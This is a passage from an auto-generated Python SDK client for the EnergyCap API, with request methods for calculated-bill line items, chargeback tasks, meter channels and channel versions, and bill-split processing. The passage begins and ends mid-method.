client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
manage_calculate_bill_demand.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}/demand'}
def get_calculate_bill_demand(
self, account_id, meter_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Get calculated demand details.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param version_id: ID of the calculated bill distribution version
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: CalculatedBillDemandResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.CalculatedBillDemandResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_calculate_bill_demand.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('CalculatedBillDemandResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_calculate_bill_demand.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}/demand'}
def manage_meter_line_items(
self, account_id, meter_id, version_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Manage calculated bill meter line items
The order of items in the list defines the calculation order
All line items to save should be passed
If a line currently exists and is not passed in it will be deleted
If any part of the create, update, or delete process fails, the entire
process is rolled back.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param version_id: ID of the calculated bill distribution version
:type version_id: int
:param body: Definition of the meter line items
:type body: list[~energycap.sdk.models.GenericBodylineRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GenericBodylineResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.manage_meter_line_items.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[GenericBodylineRequest]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GenericBodylineResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
manage_meter_line_items.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}/meterLineItem'}
def get_meter_line_items(
self, account_id, meter_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Get calculated bill meter line items.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param version_id: ID of the calculated bill distribution version
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GenericBodylineResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_line_items.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GenericBodylineResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_line_items.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}/meterLineItem'}
def manage_account_line_items(
self, account_id, meter_id, version_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Manage calculated bill account line items
The order of items in the list defines the calculation order
All line items to save should be passed
If a line currently exists and is not passed in it will be deleted
If any part of the create, update, or delete process fails, the entire
process is rolled back.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param version_id: ID of the calculated bill distribution version
:type version_id: int
:param body: Definition of the account line items.
:type body: list[~energycap.sdk.models.GenericBodylineRequest]
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GenericBodylineResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.manage_account_line_items.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, '[GenericBodylineRequest]')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GenericBodylineResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
manage_account_line_items.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}/accountLineItem'}
def get_account_line_items(
self, account_id, meter_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Get calculated bill account line items.
:param account_id: ID of the account to receive calculated bill
details
:type account_id: int
:param meter_id: ID of the meter to receive calculated bill details
:type meter_id: int
:param version_id: ID of the calculated bill distribution version
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.GenericBodylineResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_account_line_items.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[GenericBodylineResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_account_line_items.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}/accountLineItem'}
def get_calculated_bill_chargeback_task_by_version(
self, account_id, meter_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Get all chargeback tasks with details for a specific version on an
account and meter.
:param account_id: ID of the account
:type account_id: int
:param meter_id: ID of the meter
:type meter_id: int
:param version_id: ID of the distribution version
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ChargebackTaskVersionResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_calculated_bill_chargeback_task_by_version.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int'),
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ChargebackTaskVersionResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_calculated_bill_chargeback_task_by_version.metadata = {'url': '/api/v3/account/{accountId}/meter/{meterId}/calculatedBill/{versionId}/chargebackTask'}
def recalculate_chargeback_flags(
self, custom_headers=None, raw=False, **operation_config):
"""Forces all Account and Meter Chargeback flags in the system to be
recalculated.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.recalculate_chargeback_flags.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
recalculate_chargeback_flags.metadata = {'url': '/api/v3/recalculateChargebackFlags'}
def download_channel_version_custom_field_file(
self, meter_id, channel_id, version_id, udf_id, custom_headers=None, raw=False, **operation_config):
"""Download file for a channel version custom field.
:param meter_id:
:type meter_id: int
:param channel_id:
:type channel_id: int
:param version_id:
:type version_id: int
:param udf_id:
:type udf_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.download_channel_version_custom_field_file.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'channelId': self._serialize.url("channel_id", channel_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int'),
'udfId': self._serialize.url("udf_id", udf_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
download_channel_version_custom_field_file.metadata = {'url': '/api/v202105/meter/{meterId}/channel/{channelId}/version/{versionId}/udf/{udfId}/download'}
def get_meter_channels(
self, meter_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves all channel and channel versions linked to a meter.
:param meter_id: Id of the meter to retrieve the channel information
for
:type meter_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.ChannelResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_channels.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[ChannelResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_channels.metadata = {'url': '/api/v202101/meter/{meterId}/channel'}
def create_meter_channel(
self, meter_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates and assigns a channel to a meter.
:param meter_id: Id of the meter to link the channel to
:type meter_id: int
:param body: Data representing the channel being created
:type body: ~energycap.sdk.models.ChannelCreate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChannelResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChannelResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_meter_channel.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChannelCreate')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChannelResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_meter_channel.metadata = {'url': '/api/v202101/meter/{meterId}/channel'}
def get_meter_channel(
self, meter_id, channel_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves a channel and its channel versions linked to a meter.
:param meter_id: Id of the linked meter to retrieve the channel
information for
:type meter_id: int
:param channel_id: Id of the channel to retrieve information for
:type channel_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChannelResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChannelResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_meter_channel.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'channelId': self._serialize.url("channel_id", channel_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChannelResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_meter_channel.metadata = {'url': '/api/v202101/meter/{meterId}/channel/{channelId}'}
def edit_meter_channel(
self, meter_id, channel_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Updates a meter's channel
If a channel version exists and is not passed into the request body it
will continue to exist and no data will be changed.
To delete a specific channel version call DELETE
meter/{meterId}/channel/{channelId}/version/{versionId}.
:param meter_id: Id of the meter the channel is linked to
:type meter_id: int
:param channel_id: Id of the channel to update
:type channel_id: int
:param body:
:type body: ~energycap.sdk.models.ChannelEdit
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChannelResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChannelResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_meter_channel.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'channelId': self._serialize.url("channel_id", channel_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChannelEdit')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChannelResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_meter_channel.metadata = {'url': '/api/v202101/meter/{meterId}/channel/{channelId}'}
def delete_meter_channel(
self, meter_id, channel_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a meter's channel
All readings linked to this channel will also be deleted.
A channel that is part of a distribution cannot be deleted.
:param meter_id: Id of the meter the channel is linked to
:type meter_id: int
:param channel_id: Id of the channel to delete
:type channel_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_meter_channel.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'channelId': self._serialize.url("channel_id", channel_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_meter_channel.metadata = {'url': '/api/v202101/meter/{meterId}/channel/{channelId}'}
def create_channel_version(
self, meter_id, channel_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Create a new channel version.
:param meter_id: Id of the meter the channel is linked to
:type meter_id: int
:param channel_id: Id of the channel to add the version to
:type channel_id: int
:param body:
:type body: ~energycap.sdk.models.ChannelVersionWithBeginDateRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChannelResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChannelResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.create_channel_version.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'channelId': self._serialize.url("channel_id", channel_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChannelVersionWithBeginDateRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChannelResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
create_channel_version.metadata = {'url': '/api/v202101/meter/{meterId}/channel/{channelId}/version'}
def edit_channel_version(
self, meter_id, channel_id, version_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Update a channel version.
:param meter_id: Id of the meter the channel is linked to
:type meter_id: int
:param channel_id: Id of the channel the version is linked to
:type channel_id: int
:param version_id: Id of the channel version to update
:type version_id: int
:param body:
:type body: ~energycap.sdk.models.ChannelVersionWithBeginDateRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChannelResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChannelResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_channel_version.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'channelId': self._serialize.url("channel_id", channel_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChannelVersionWithBeginDateRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChannelResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_channel_version.metadata = {'url': '/api/v202101/meter/{meterId}/channel/{channelId}/version/{versionId}'}
def delete_channel_version(
self, meter_id, channel_id, version_id, custom_headers=None, raw=False, **operation_config):
"""Delete a channel version
There must always be one version on a channel
If you try and delete the only version on a channel an exception will
occur.
:param meter_id: Id of the meter the channel is linked to
:type meter_id: int
:param channel_id: Id of the channel the version is linked to
:type channel_id: int
:param version_id: Id of the channel version to delete
:type version_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_channel_version.metadata['url']
path_format_arguments = {
'meterId': self._serialize.url("meter_id", meter_id, 'int'),
'channelId': self._serialize.url("channel_id", channel_id, 'int'),
'versionId': self._serialize.url("version_id", version_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_channel_version.metadata = {'url': '/api/v202101/meter/{meterId}/channel/{channelId}/version/{versionId}'}
def execute_bill_split_processor(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Process one or more Bill Split distributions for a specific billing
period.
:param body:
:type body: ~energycap.sdk.models.ChargebackProcessorSettings
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.execute_bill_split_processor.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChargebackProcessorSettings')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
execute_bill_split_processor.metadata = {'url': '/api/v3/billSplit/exec'}
def execute_calculate_bill_processor(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Process one or more Calculated Bill distributions for a specific
billing period.
:param body:
:type body: ~energycap.sdk.models.ChargebackProcessorSettings
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.execute_calculate_bill_processor.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChargebackProcessorSettings')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
execute_calculate_bill_processor.metadata = {'url': '/api/v3/calculatedBill/exec'}
def execute_processor_by_workflow_step(
self, chargeback_workflow_step_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Process distributions assigned to a chargeback workflow step for a
specific billing period.
:param chargeback_workflow_step_id: The chargeback workflow step id.
:type chargeback_workflow_step_id: int
:param body: The other processor settings.
:type body:
~energycap.sdk.models.ChargebackProcessorSettingsWithoutFilters
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ChargebackTaskResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ChargebackTaskResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.execute_processor_by_workflow_step.metadata['url']
path_format_arguments = {
'chargebackWorkflowStepId': self._serialize.url("chargeback_workflow_step_id", chargeback_workflow_step_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ChargebackProcessorSettingsWithoutFilters')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ChargebackTaskResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
